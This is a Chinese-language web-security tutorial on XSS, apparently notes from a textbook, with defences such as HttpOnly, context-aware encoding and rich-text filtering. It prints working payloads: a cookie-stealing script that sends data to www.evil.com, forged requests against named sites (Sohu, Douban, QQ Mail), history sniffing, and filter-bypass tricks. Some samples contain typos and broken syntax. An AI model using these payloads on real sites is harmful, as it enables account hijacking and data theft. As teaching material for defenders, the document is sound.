浏览器安全

同源策略 
影响源的因素：host,子域名,端口,协议 
a.com通过以下代码:

<script scr=http://b.com/b.js>

加载了b.com上的b.js，但是b.js是运行在a.com页面中的，因此相对于当前打开的页面(a.com)来说，b.js的源就应该是a.com而非b.com 
不同于XMLHttpRequest的是，通过src属性加载的资源，浏览器限制了JavaScript的权限，使其不能读、写返回的内容。 
XMLHttpRequest不能跨域访问资源。但是有跨域请求的需求，因此W3C指定了XMLHttpRequest的跨域访问标准。它需要通过目标域返回的Http头来授权是否允许跨域访问，因此HTTP头对于JavaScript来说一般是无法控制的，所以认为这个方案是可行的。注意：这个跨域访问方案的安全基础就是信任“Javascript无法控制该HTTP头”，如果此信任基础被打破，则此方案也就不再安全。

浏览器沙箱 
每个单独的页面是一个进程。浏览器加载的第三方插件如Flash、Java、PDF、.NET Framework都成为了被攻击热点。

恶意网址拦截 
浏览器使用黑名单策略来警告用户。常见的恶意网址分为两类: 
1、挂马网站，通常包含恶意的Javascript或Flash，通过利用浏览器的漏洞，执行shellcode，在电脑中植入木马 
2、钓鱼网站:模仿知名网站的相似页面

高速发展的浏览器安全

跨站脚本攻击

Cross Site Script,因为和CSS重名，所以改名XSS

XSS简介

通常指黑客通过“HTML注入”纂改了页面，插入了恶意的脚本，从而在用户浏览页面时，控制用户浏览器的一种攻击。在一开始，这种攻击的演示案例是跨域的，所以叫“跨站脚本”。但是发展到今天，由于Javascript的强大功能以及网站前端应用的复杂化，是否跨域已经不再重要。但是由于历史原因，这个名字保留了下来。 
假设一个页面把用户输入的参数输出到页面上： 

1 <?php 2 $input=$_GET["param"]; 3 echo "<div>".$input."</div>"; 4 ?>

如果提交一段HTML代码:

http://www.a.com/test.php?param=alert(/xss/)

会发现alert(/xss/)被执行了。 
XSS分为以下几类: 
1)反射型XSS: 就如上面的例子，也就是黑客需要诱使用户点击链接。也叫作”非持久型XSS“(Non-persistent XSS) 
2)存储型XSS:把用户输入的数据”存储“在服务器端。这种XSS具有很强的稳定性。 
比较常见的一个场景是，黑客写下一篇包含恶意Javascript代码的博客文章，文章发表后，所有访问该博客文章的用户，都会在他们的浏览器中执行这段恶意的Javascript代码。黑客把恶意的脚本保存在服务器端，所以中XSS攻击就叫做”存储型XSS”。 
3)DOM based XSS:也是一种反射型XSS，由于历史原因被单独列出来了。通过修改页面的DOM节点形成的XSS，称之为DOM Based XSS。

看如下代码: 


<script>
function test(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onlick="test()" />


 

这段代码的作用就是点击write按钮后在当前页面插入一个链接。 
构造如下数据:

’ onclick=alert(/xss/) //

输入后，页面代码就成了

testLink

首先用一个单引号闭合掉href的第一个单引号，然后插入一个onclick事件，最后再用注释符//注释掉第二个单引号。 
实际上，这里还有另外一种利用方式—除了构造一个新事件外，还可以选择闭合掉<a>标签，并插入一个新的HTML标签。尝试如下输入:

'><img scr=# onerror=alert(/xss2/) /><'

页面代码编程

<a href='http://cracer.com/blog/'><img scr=# onerror=alert(/xss2/) /><''>testLink</a>.

XSS攻击进阶

初探XSS Payload 
XSS Payload就是JavaScript脚本(还可以是Flash或其他富客户端的脚本)，所以任何Javascript脚本能做到的事情，XSS Payload都能做到。 
一个最常见的XSS Payload就是读取浏览器的Cookie对象，从而发起”Cookie劫持”攻击。 
Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失，往往意味着用户的登录凭证丢失。换句话说，攻击者可以不用通过密码，而直接登录进用户的账户。 
如下所示，攻击者先加载一个远程脚本: 
http://www.a.com/test.htm?abc=“><script scr=http://www.evil.com/evil.js ></script> 
真正的XSS Payload现在这个远程脚本中，避免直接在URL的参数里写入大量的JavaScript代码。 
在evil.js中，可以通过如下代码窃取Cookie: 

var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

这段代码在页面中插入了一张看不见的图片，同时把document.cookie对象作为参数发送到远程服务器。 
事实上，http://www.evil.com/log 并不一定要存在，因为这个请求会在远程服务器的Web日志中留下记录 。 
这样就完成了一个最简单的窃取Cookie的XSS Payload。 
黑客可以用这个Cookie直接登录。 
防止:Cookie的“HttpOnly”标识可以防止”Cookie劫持”，我们将在稍后的章节中在具体介绍。

强大的XSS Payload 
构造Get与Post请求:例如在Sohu上有一篇文章， 想通过XSS删除它，该如何做呢? 
假设Sohu博客所在域的某页面存在XSS漏洞，那么通过JavaScript，这个过程如下: 
正常删除该文章的链接是:http://blog.sohu.com/manage/entry.do?m=delete&id=156713012 
对于攻击者来说，只需要直到文章的id，就能够通过这个请求删除这篇文章了。 
攻击者可以通过插入一张图片来发起一个get请求: 

var img=document.createElement("img");
img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
document.body.appendChild(img);

攻击者只需要让博客的作者执行这段JavaScript代码(XSS Payload)，就会把这篇文章删除。在具体攻击中，攻击者将通过XSS诱使用户执行XSS Payload。 
再看一个复杂点的例子。如果网站应用者接受POST请求，那么攻击者如何实施XSS攻击呢? 
下例是Douban的一处表单。攻击者将通过Javascript发出一个post请求，提交此表单，最终发出一条新的消息。 

var f=document.createElement("form");
f.action="";
f.method="post";
document.body.appendChild(f);
var i1=document.createElement("input");
i1.name=" ck";
i1.value=" JiuY";
f.appendChild(i1);
var i2=document.createElement("input");
i2.name=" mb_text";
i2.value="testtestseset";
f.appendChild(i2);
f.submit();

如果表单参数很多的话，通过构造DOM的方式，代码将会很冗长。所以可以直接写HTML代码: 

var dd=document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML='<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" name="ck" value="JiuY" />'+
'<input type="hidden" name="mb_text" value="testetst" />' +
'</form>'
document.getElementById("xssform").submit();

第二种方法是，通过XMLHttpRequest发送一个POST请求: 

var url = "http://www.douban.com";
var postStr = "ck=JiuY&mb_text=test1234";
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    return;
}
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);
ajax.onreadystatechange = function() {
    if (ajax.readyState == 4 && ajax.status == 200) {
        alert("Done");
    }
}

 

通过这个例子可以看出，使用Javascript模拟提交表单并不是一件困难的事情.

下面的例子将演示如何通过XSS Payload读取QMail用户的邮件文件夹: 
首先看看正常的请求是如何获取到所有的邮件列表的。登录邮箱后，点击“收件箱”后。抓包发现浏览器发出了如下请求: 
http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1 
经过分析，真正能访问到邮件列表的链接是: 
http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx… 
这里有一个无法直接构造出的值:sid。从字面推测，这个sid参数应该是用户ID加密后的值。 
所以XSS Payload的思路是先获取到sid的值，然后构造完整的URL，并使用XMLHttpRequest请求到此URL，应该就能得到邮件列表了。XSS Payload如下: 

if (top.window.location.href.indexOf("sid=") > 0) {
    var sid = top.window..location.href.substr(top.window.location.href.indexOf("sid=") + 4, 24);
}
var folder_url = "http://" + top.window.location.host + "/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=" + sid;
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    return;
}
ajax.open("GET", folder_url, true);
ajax.send(null);
ajax.onreadystatechange = function() {
    if (ajax.readyState == 4 && ajax.status == 200) {
        alert(ajax.responseText);
        //document.write(ajax.responseText);
    }
}

邮件列表的内容成功被XSS Payload获取到。

钓鱼: 
XSS并非万能。前面的例子都是Javascript脚本，缺少”与用户的交互”,碰到验证码，和修改密码时需要输入旧密码，XSS Payload就会失效。 
对于验证码，XSS Payload可以读取页面的内容，将验证码的图片URL发送到远程服务器上来实施–攻击者可以在远程XSS后台接收当前验证码，并将验证码的值返回给当前的XSS Payload 
从而绕过验证码。 
修改密码的问题比较复杂，为了窃取密码，攻击者可以将XSS与”钓鱼”结合。 
实现思路很简单:利用Javascript在当前页面上”画出”一个伪造的登录框，当用户在登录框中输入用户名和密码后，其密码将被发送到黑客的服务器上。

识别用户浏览器: 
navigator.userAgent 
但是userAgent是可以伪造的。这个信息不一定准确。 
由于浏览器之间的实现存在差异，利用这种差异分辨浏览器几乎不会错误。 
参考: 

if (window.ActiveObject) {
    //MSIE 6.0 or below
    //判断是否IE 7以上
    if (document.documentElement && typeof document.documentElement.style.maxHeight != "undefined") {
        if (typeof document.adoptNode != "undefined") { //Safari 3 & FF & Opera & Chrome & IE8
            //MSIE 8.0
        }
        //MSIE 7.0
    }
    return "msie"; //MSIE6.0
} else if {
    typeof window.opera != "undefined") { //Opera独占
        return "opera";
    } else if (typeof window.netscape != "undefined") { //Mozilla独占
        if (typeof window.Iterator != "undefined") {
            //Firefox 2.0以上支持这个对象
            if (typeof document.styleSheetSets != "undefined") { //FireFox 3 & Opera 9
                //Firefox 3
            }
            //Firefox 2.0
        }
        return "mozilla";
    } else if (typeof window.pageXOffset != "undefined") { //Mozilla & Safari
        try {
            if (typeof external.AddSearchProvider != "undefined") { //Firefox & Google Chrome
                return "Chrome";
            }
        } catch(e) {
            return "safari";
        }
    } else { //unknown
        return "unknown";
    }

识别用户安装的软件: 
在IE中，可以通过判断ActiveX控件的classid是否存在，来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”–黑客通过判断用户安装的软件，选择对应的浏览器漏洞，最终达到 
入木马的目的。 
看如下代码: 

try {
　　var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');
} catch (e){
　　//异常了，不存在该控件
}

通过收集常见软件的classid，就可以扫描出用户电脑中安装的软件列表，甚至包括软件的版本。 
一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象，能够查询客户端电脑中的硬件信息。 
在XSS Payload中，可以在Flash的ActionScript中读取system.capabilities对象后，将结果通过ExternalInterface传给页面的javascript。 
浏览器的扩展和插件也能被XSS Payload扫描出来。比如对于Firefox的插件和扩展，有着不同的检测方法。 
Firefox的插件(Plugins)列表存放在一个DOM对象中，通过查询DOM可以遍历出所有的插件: 
所以直接查询”navigator.plugins”对象，就能找到所有的插件了。例如 navigator.plugins[0] 
而Chrome的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:通过检测扩展的图标，来判断某个特定的扩展是否存在。 
在Chrome中有一个特殊的协议: chrome:// ，Chrome的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标，可以这样访问: 
chrome://flashgot/skin/icon32.png 
扫描Chrome扩展时，只需在Javascript中加载这张图片，如果加载成功，则扩展存在；反之，扩展就不存在 

var m = new Image();
m.onload = function() {
    alert(1); //图片存在
};
m.onerror = function() {
    alert(2); //图片不存在
};
m.src = "chrome://flashgot/skin/icon32.png"; //连接图片

CSS History Hack: 
我们再看看另外一个有趣的XSS Payload—通过CSS，来发现一个用户曾经访问过的网站。 
原理是利用style的visited桑性—如果用户曾经访问过某个链接，那么这个链接的颜色会变的与众不同。 

< script >
var websites = [...要检测的访问过的网址列表，可能有几千个...];
//遍历每个URL
for (var i = 0; i < websites.length: i++) {
    var link = document.createElement("a");
    link.id = "id" + i;
    link.href = websites[i];
    link.innerHTML = websites[i];
    document.write('<style>');
    document.write('#id' + i + ":visited {color:#FF0000;}");
    document.write('</style>');
    document.body.appendChild(link);
    var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color");
    document.body.removeChild(link);
    if (color == "rgb(255,0,0)") { //visited
        var item = document.createElement('li');
        item.appendChild(link);
        document.getElementById('visited').appendChild(item);
    } else { //Not visited
        var item = document.createElement('li');
        item.appendChild(link);
        document.getElementById('notvisited').appendChild(item);
    }
} < /script>/

但是Firefox已经决定修补这个问题

获取用户的真实IP地址: 
很多时候，用户电脑的IP地址隐藏在代理服务器或NAT的后面。 
javascript本身并没有获取本地IP地址的能力。一般需要第三方软件来完成。比如，客户端安装了Java环境(JRE)，那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。 
在XSS攻击框架”Attack API”中，就有一个获取本地IP地址的API: 

AttackAPI.dom.getInternalIP = function() {
    try {
        var sock = new java.net.Socket();
        sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
        sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port) ? 80 : document.location.port));
        return sock.getLocalAddress().getHostAddress();
    } catch(e) {}
    return '127.0.0.1';
};
此外，还有两个利用Java获取本地网络信息的API：

XSS攻击平台:

XSS Payload如此强大，为了使用方便，有安全研究者将许多功能封装起来，成为XSS攻击平台。这些攻击平台的主要目的是为了演示XSS的危害，以及方便渗透测试使用。 
Attack API: Attack API是安全研究者pdp所主导的一个项目，他总结了很多能够直接使用的XSS Payload，归纳为API的方式。 
BeFF:曾经是最好的XSS演示平台。其所演示的是一个完整的XSS攻击过程。 
XSS-Proxy:是一个轻量级的XSS攻击平台，通过嵌套iFrame的方式可以实时地远程控制被XS攻击的浏览器。 
这些XSS攻击平台有助于深入理解XSS的原理和危害。

终极武器:XSS Worm

Samy Worm: 
2005年，年仅19岁的Samy Kamkar发起了对MySpace.com的XSS Worm攻击。 
MySpace过滤了很多危险的HTML标签，只保留了<a>标签、<img>标签、<div>标签等”安全的标签”.并过滤了所有的事件，例如”onclick”。但是MySpace却允许用户控制标签的Style属性，通 
style，还是有办法构造出XSS的。比如：

<div style="background:url('javascript:alert(1)')">

其次，MySpace同时还过滤了”javascript”、”onreadystatechange”等敏感词，所以Samy用了“拆分法”绕过这些限制。 
最后Samy通过Ajax构造的Post请求，完成了在用户的heros列表里添加自己名字的功能；同事复制蠕虫自身进行传播。至此，XSS Worm就完成了。 
具体代码太长。。。 
但是发起XSS Worm攻击是有一定的条件的： 
一般来说，用户之间发生交互行为的页面，如果存在存储性XSS，则比较容易发起XSS Worm攻击。 
比如发送站内信、用户留言等页面，都是XSS Worm的高发区，需要重点关注。而相对的，如果一个页面只能由用户个人查看，比如”用户个人资料设置”页面，因为缺乏用户之间互动的功能 
所以即使存在XSS，也不能被用于XSS Worm的传播。

百度空间蠕虫: 
调试Javascript: 
要想写好XSS Payload，需要有很好的Javascript功底，调试javascript是必不可少的技能。 
Firebug …

XSS构造技巧

利用字符编码: 
“百度搜藏”曾经出现过一个这样的XSS漏洞。百度在一个<script>标签中输出了一个变量，其中转义了双引号: 
var redirectUrl="\";alert(/xss/);"; 
一般来说，这里是没有XSS漏洞的，因为变量处于双引号之内，系统转义了双引号导致变量无法escape。 
但是百度的返回页面是GBK/GB2312编码的，因此”%c1\”这两个字符组合在一起后，会成为一个Unicode字符。在Firefox下会认为这是一个字符，所以构造: 
%c1";alert(/xss/);// 
并提交: 
var rediretUrl="?";alert(2);//"; 
这两个字节:"%c1\"组成了一个新的Unicode字符，%c1把转义符"\"给”吃掉了”，从而绕过了系统的安全检查，成功地实施了XSS攻击。

绕过长度限制: 
很多时候，产生XSS的地方会有变量的长度限制，这个限制可能是服务器端逻辑造成的。 
假设下面代码存在一个XSS漏洞: 
<input type=text value="$var" /> 
服务器端对输出变量$var做了严格的长度限制，那么攻击者可能会这样构造XSS: 
$var为 "><script>alert(/xss/)</script> 
希望达到的输出效果是: 
<input type=text value=""><script>alert(/xss/)</script>" /> 
假设长度限制为20个字节，则这段XSS会被切割为: 
$var输出为: "><script>alert(/xss 
连一个完整的函数都无法写完。 
攻击者可以利用时间(Event)来缩短所需要的字节数: 
$var输出为"onclick=alert(1)// 
加上空格符，刚好够20个字节 
但利用“事件”能够缩短的字节数是有限的。最好的办法是先把XSS Payload写在别处，再通过简短的代码加载这段XSS Payload。 
最常用的一个“藏代码”的地方，就是“location.hash”。而且根据HTTP协议，location.hash的内容不会在HTTP包中发送，所以服务器端的Web日志中并不会记录下location.hash里的内容，从而 
更好地隐藏了黑客真实的意图。 
$var输出为onclick="eval(location.hash.substr(1))" 
总共40个字节。输出后的HTML是： 
<input type=text value="" onclick="eval(location.hash.substr(1)) " /> 
因为location.hash的第一个字符是#,所以必须去除第一个字符才行。此时构造出的XSS URL为： 
http://www.a.com/test.html#alert(1) 
用户点击文本框时，location.hash里的代码就执行了. 
location.hash本身没有长度限制，但是浏览器的地址栏是有长度限制的，不过这个长度已经足够写很长的XSS Payload了。要是地址栏的长度也不够用，还可以再使用加载远程JS的方法，来 
更多的代码。 
在某些环境下，可以利用注释符绕过长度限制。 
比如我们能控制两个文本框，第二个文本框允许写入更多的字节。此时可以利用HTML的”注释符号“，把两个文本框之间的HTML代码全注释掉，从而”打通“两个<input>标签。

<input id=1 type="text" value="" />
xxxxx
<input id=2 type="text" value="" />

在第一个input框中，输入:"><!-- 
在第二个input框中，输入:--><script>alert(/xss/);</script>

最终的效果是：

<input id=1 type="text" value=""><!-- />
xxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>" />

中间的代码前部被<!-- -->注释掉了。

使用<base>标签: 
<base>标签是定义所有使用”相对路径”标签的hosting地址 
例如： 

<body> <base href="http://www/google.com" /> <img scr="/int1/...png" /> </body>

需要注意的是<base>标签可以出现在页面的任何地方，并作用于该标签之后的所有标签。 
攻击者如果在页面中插入了<base>标签，就可以通过在远程服务器上伪造图片、链接或脚本，劫持当前页面中的所有使用”相对路径“的标签。比如:

<base href="http://www.evil.com" />
...
<script src="http://cracer.com/blog/x.js">
...
<img scr="y.jpg" />
...
<a href="http://cracer.com/blog/auth.do"> auth</a>

所以在设计XSS安全方案时，一定要过滤掉这个非常危险的标签。

window.name的妙用: 
window.name对象是一个很神奇的东西，对当前的window.name对象赋值，没有特殊字符的限制。因为window对象是浏览器的窗体，而并非document对象，因此很多时候window对象不受同 
策略的限制。攻击者利用这个对象，可以实现跨域、跨页面传递数据。在某些环境下，这种特性将变得非常有用。 
参考以下案例: 
www.a.com/test.html的代码为: 

<body>
<script>
window.name="test";
alert(document.domain+" "+window.name);
window.location="http://www.b.com/test1.html";
</script>
</body>

这段代码将window.name赋值为test，然后显示当前域和window.name的值，最后页面跳转到www.b.com/test1.html。 
www.b.com/test1.html的代码为: 

<body>
<script>
alert(document.domain+" "+window.name);
</script>
</body>

这个过程实现了数据的跨域传递:”test”这个值从www.a.com传递到www.b.com 
使用window.name可以缩短XSS Payload的长度，如下所示: 

<script> window.name="alert(document.cookie)";
location.href="http://www.xssedsite.com/xssed.php"; </script>

在统一窗口打开XSS的站点后，只需通过XSS执行以下代码即可: 
eval(name); 
只有11个字节，短到了极点。 
这个技巧为安全研究者luoluo发现，同时他还整理了很多绕过XSS长度限制的技巧。

变废为宝:Mission Impossible 
从XSS漏洞利用的角度来看，存储型XSS对攻击者的用处比反射型XSS要大。而有的XSS漏洞被认为只能够攻击自己，属于”鸡肋”漏洞。但随着时间的推移，数个曾经被认为是无法利用的 
洞，都被人找到了利用方法： 
a)Apache Expect Header XSS: 
b)Anehta的回旋镖:

容易被忽视的角落:Flash XSS 
前面降到的XSS攻击都是基于HTML的，其实在Flash中同样也有可能造成XSS攻击。 
在Flash中是可以嵌入ActionScript脚本的。一个最常见的Flash XSS可以这样写： 
getURL(“javascript:alert(document.cookie)”) 
ActionScript是一种非常强大和灵活的脚本，甚至可以使用它来发起网络连接，因此应该尽可能地阻止用户能够上传和加载自定义的Flash文件。 
由于Flash文件如此危险，所以在实现XSS Filter时，一般都会禁用、等标签。后者甚至可以加载ActiveX控件，产生更为严重的后果。 
嵌入FLash的脚本重要的参数有allowScriptAccess(推荐值never)、allowNetworking(建议值none或者internal)。 
Flash XSS往往被忽视，因为其问题出现在编译后的Flash文件中。

 

真的高枕无忧吗？Javascript开发框架 
jQuery本身出现的漏洞较少，但是开发者的意识才是安全编码的关键。 
例如$(‘div.demo-container’).html(“”); 
如果用户可控制输入，那么XSS产生是必然的。

XSS的防御

HttpOnly

浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。是为了解决劫持Cookie攻击。因为Javascript获取不到Cookie的值。 
C#中设置HttpOnly的方法: 
HttpCookie myCookie=new HttpCookie(“myCookie”); 
myCookie.HttpOnly=true; 
Response.AppendCookie(myCookie);

输入检查

常见的Web漏洞如XSS、SQL诸如等，都要求攻击者构造一些特殊字符，这些特殊字符可能是正常用户不会用到的，所以输入检查就有存在的必要了。 
例如，用户名可能会被要求只能为字母、数字的组合。 
输入检查的逻辑应该放在服务器端，否则很容易被绕过。目前的普遍做法是在客户端和服务器端都执行检查。 
在XSS的防御上，输入检查一般是检查用户输入的数据中是否包含一些特殊字符，如< > ’ “等。如果发现，则将这些字符过滤掉或编码。 
比较智能的还会检查<script> javascript等敏感字符，网上有很多XSS Filter资源。但因为XSS Filter对语境不了解，有时不能检查出XSS攻击。

输出检查

一般来说，除了富文本的输出外，在变量输出到HTML页面时，可以使用编码或者转移的方式来防御XSS攻击。

安全的编码函数: 
针对HTML代码的编码方式是HtmlEncode。 
HtmlEncode并非专用名词，它只是一种函数体现。它的作用是将字符转换成HTMLEntities，对应的标准是ISO-8859-1。 
对了对抗XSS，在HtmlEncode中至少要转换以下字符: 
& => &amp; < =>&lt; > " ' / 
相应地，Javascript的编码方式可以使用JavascriptEncode。 
JavascriptEncode与HtmlEncode的编码方法不同，他需要使用\对特殊字符进行转义。在对抗CSS时，还要求输出的变量必须在引号内部，以避免造成安全问题。比较下面两种写法: 
var x=escapeJavascript($evil); 
var y='"'+escapeJavascript($evil)+'"'; 
如果escapeJavascript函数只转义了几个危险字符，比如’ ” < > \ & #等，那么上面的两行代码输出后可能变成: 
var x=1;alert(2); 
var y="1;alert(2)"; 
所以要求使用JavascriptEncode的变量输出一定要在引号内。 
可视很多开发者没有这个习惯怎么办？这将只能使用一个更加严格的JavascriptEncode函数–除了数字、字母外的所有字符，都使用十六进制”\xHH”的方式进行编码。在本例中： 
var x=1;alert(2); 
变成了: 
var x=1\x3balert\x282\x29; 
如此代码可以保证是安全的。

只需一种编码吗? 
XSS攻击主要发生在MVC架构中的View层。大部分的XSS漏洞可以在模版系统中解决。 
不是使用了auto-escape就万事大吉了，XSS的防御需要区分情况对待。

正确地防御XSS

XSS的本质还是一种”HTML注入”。 
想要根治XSS，可以列出所有XSS可能发生的场景，在一一解决。

在HTML标签中输出：如

<div>$var</div>
<a href=# >$var</a>

这样可以构造出:

<div><script>alert(/xss/)</script></div>
<a href=#><img scr=# onerror=alert(1) /></a>

防御方法是对变量使用HtmlEncode。

在HTML属性中输出:如

<div id="abc" name="$var" ></div>

可以构造出:

<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>

防御方法也是HtmlEncode。在OWASP ESAPI中推荐了一种更严格的HtmlEncode–除了字母、数字外，其他所有的字符都被编码成HTMLEntities。 
String sfa=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input")]; 
这种严格的编码方式，可以保证不会出现任何安全问题。

在<script>标签中输出:如

<script>
var x="$var";
</script>

可以构造出:

<script>
var x="";alert(/xss/);//";
</script>

防御时也是使用JavascriptEncode

在事件中输出:如 
<a href=# onclick="funcA('$var')" >test</a> 
可以构造出: 
<a href=# onclick="funcA('');alert(/xss/);//')" >test</a> 
在防御时需要使用JavascriptEncode

在CSS中输出: 
在CSS和style、style attribute中形成的XSS的方式非常多样化，参考下面几个XSS的例子。

<STYLE>@import 'http://ha.ckers.org/xss.css';
<STYLE>BODY {-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}
<XSS STYLE="behavior:url(xss.htc);">
<STYLE>li {list-style-image:url("javascript:alert('XSS')");} </STYLE><UIL><LI>XSS
<DIV STYLE="background-image:url(javascript:alert('XSS'))">
<DIV STYLE="width:expression(alert('XSS'));">

所以一般来说，尽可能地禁止用户可控制的变量在”<style>标签”、”HTML标签的style属性”以及”CSS文件”中输出。如果一定有这样的需求，推荐使用OWASP ESAPI中的encodeForCSS() 
数。类似于ESAPI.encoder().encodeForJavaScript()函数。

在地址中输出: 
在地址中输出也较为复杂。一般来说，在URL的path(路径)或者search(参数)中输出，使用URLEncode即可。 
例如: 
<a href="http://www.evil.com/?test=$var" rel="external nofollow" >test</a> 
可能的攻击办法: 
<a href="http://www.evil.com/?test=" rel="external nofollow" onclick=alert(1)"" >test</a> 
经过URLEncode后就可以防御。 
但是还有一种情况，就是整个URL都能够被用户完全控制。这时URL的协议和Host部分是不能够使用URLEncode的，否则会改变URL的语义。 
一个URL的组成如下: 
[Protocol][host][Path][search][Hash] 
如 
http://www.evil.com/a/b/c/test?abc=123#ssss 
protocol="http://" 
host=www.evil.com 
search="?abc=123" 
hash=#ssss 
在Protocol和host中，如果使用严格的URLEncode函数，则会把”://“、”.“等都编码掉。 
对于如下的输出方式: 
<a href="http://cracer.com/blog/$var" rel="external nofollow" >test</a> 
攻击者可能会构造: 
<a href="javascript:alert(1);" rel="external nofollow" >test</a> 
除了“JavaScript作为伪协议可以执行代码外，还有VBScript、dataURI等伪协议可能导致脚本执行。 
由此可见，如果用户能够完全控制URL，则可以执行脚本的方式有很多，如何解决这种情况呢？ 
一般来说，如果变量是整个URl，则应该首先检查变量是否是以Http开头，如果不是则自动添加，以保证不会出现伪协议类的XSS攻击。 
在此之后再对变量进行URLEncode，即可保证不会有此类的XSS发生了。 
OWASP ESAPI中有一个URLEncode的实现: 
ESAPI.encoder().encodeForURL

处理富文本

有些时候，网站需要允许用户提交一些自定义的HTML代码，称之为”富文本”。比如，一个用户在论坛里发帖，帖子里的内容里要有图片、视频、表格等，这些“富文本”的效果都需要通过HTM 
代码来实现。 
如何区分安全的“富文本”和有攻击性的XSS呢？ 
在处理富文本时，还是要回到”输入检查”的思路上来。”输入检查“的主要功能是，在检查时还不知道变量的输出语境。但用户提交的”富文本“数据，其语义是完整的HTML代码，在输出时也不 
拼凑到某个标签的属性中。因此可以特殊情况特殊处理。 
在上一节中，列出了所有在HTML中可能执行脚本的地方。而一个优秀的”XSS Filter“，也应该能够找出HTML代码中所有可能执行脚本的地方。 
HTML是一种结构化的语言，比较好分析。通过htmlparser可以解析出HTML代码的标签、标签属性和事件。 
在过滤富文本时，”事件“应该被严格禁止，因为”富文本“的展示需求里不应该包括”事件“这种动态效果。而一些危险的标签，比如<iframe>、<script>、<base>、<form>等，也是应该严格禁 
的。 
在标签的选择上，应该使用白名单，避免使用黑名单。比如，只允许<a>、<img>、<div>等比较”安全“的标签存在。 
”白名单“原则不仅仅用于标签的选择，同样应该用于属性与事件的选择。 
在富文本过滤中，处理CSS也是一件麻烦的事情。如果允许用户自定义的CSS、style，则也可能导致XSS攻击。因此尽可能地禁止用户自定义CSS与Style。 
如果一定要允许用户自定义样式，则只能像过滤”富文本“一样过滤”CSS“。这需要一个CSS Parser对样式进行智能分析，检查其中是否包含危险代码。 
有一些比较成熟的开源项目，实现了对富文本的XSS检查。 
Anti-Samy是OWASP上的一个开源项目，也是目前最好的XSS Filter。最早它是基于Java的，现在已经扩展到.NET等语言。

防御DOM Based XSS

DOM Based XSS是一种比较特别的XSS漏洞，前文提到的几种防御方法都不太适用，需要特别对待。 
DOM Based XSS是如何形成的呢？回头看看这个例子: 

<script>
function test(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" oncick="test()" />

在button的onclick事件中，执行了test()函数，而该函数中最关键的一句是: 
document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>"; 
将HTML代码写入了DOM节点，最后导致了XSS的发生。 
事实上，DOM Based XSS是从Javascript中输出数据到HTML页面中。而前文提到的方法都是针对”从服务器应用直接输出到HTML页面”的XSS漏洞，因此并不适用于DOM Based XSS。 
看看下面这个例子:

1
2
3
4
<script>
var x="$var";
document.write("<a href='http://cracer.com/blog/"+x+"' >test</a>");
</script>

变量$var输出在<script>标签内，可是最后又被document.write输出到HTML页面中。 
假设为了保护$var直接在<script>标签内产生XSS，服务器端对齐进行了JavascriptEscape。可是$var在document.write时，仍然能够产生XSS，如下所示:

<script> var x="\x20\x27onlick\x3dalert\x281\x29\x3b..."; document.write("test"); </script>

页面渲染之后的实际结果如下: 
XSS攻击成功。 
其原因在于，第一次执行JavascriptEscape后，只保护了: 
var x="$var"; 
但是当document.write输出数据到HTML页面时，浏览器重新渲染了页面。在<script>标签执行时，已经对变量x进行了解码，其后document.write再运行时，其参数就变成了: 
<a href='http://cracer.com/blog/ 'onclick=alert(1);//' ' >test</a> 
XSS因此而产生。 
如果改成HtmlEncode也是如此。 
正确的防御方法是什么呢？ 
首先，在$var输出到<script>时，应该执行一次javascriptEncode；其次，在document.write输出到HTML页面时，要分具体情况看待:如果是输出到事件或者脚本，则要再做一 
javascriptEncode；如果是输出到HTML内容或者属性，则要做一次HtmlEncode。 
也就是说，从JavaScript输出到HTML页面，也相当于一次XSS输出的过程，需要分语境使用不同的编码函数。 
会触发DOM Based XSS的地方很多，以下几个地方是JavaScript输出到HTML页面的必经之路。 
a) document.write() document.writeln() 
b) xxx.innerHTML= xxx.outerHTML= 
c) innerHTML.replace 
d) document.attachEvent() window.attachEvent() 
e) document.location.replace() document.location.assign() 
… 
除了服务器端直接输出变量到Javascript之外，还有以下几个地方可能会成为DOM Based XSS的输入点，也需要重点关注。 
a) 页面中所有的inputs框 
b) window.location(href、hash等) 
c) window.name 
d) document.referrer 
e) document.cookie 
f) localstorage 
g) XMLHttpRequest返回的数据

换个角度看XSS的风险

从业务角度看XSS风险，用户之间有互动的页面的风险肯定比没有互动的页面的风险高。应重点修补风险高的页面。 
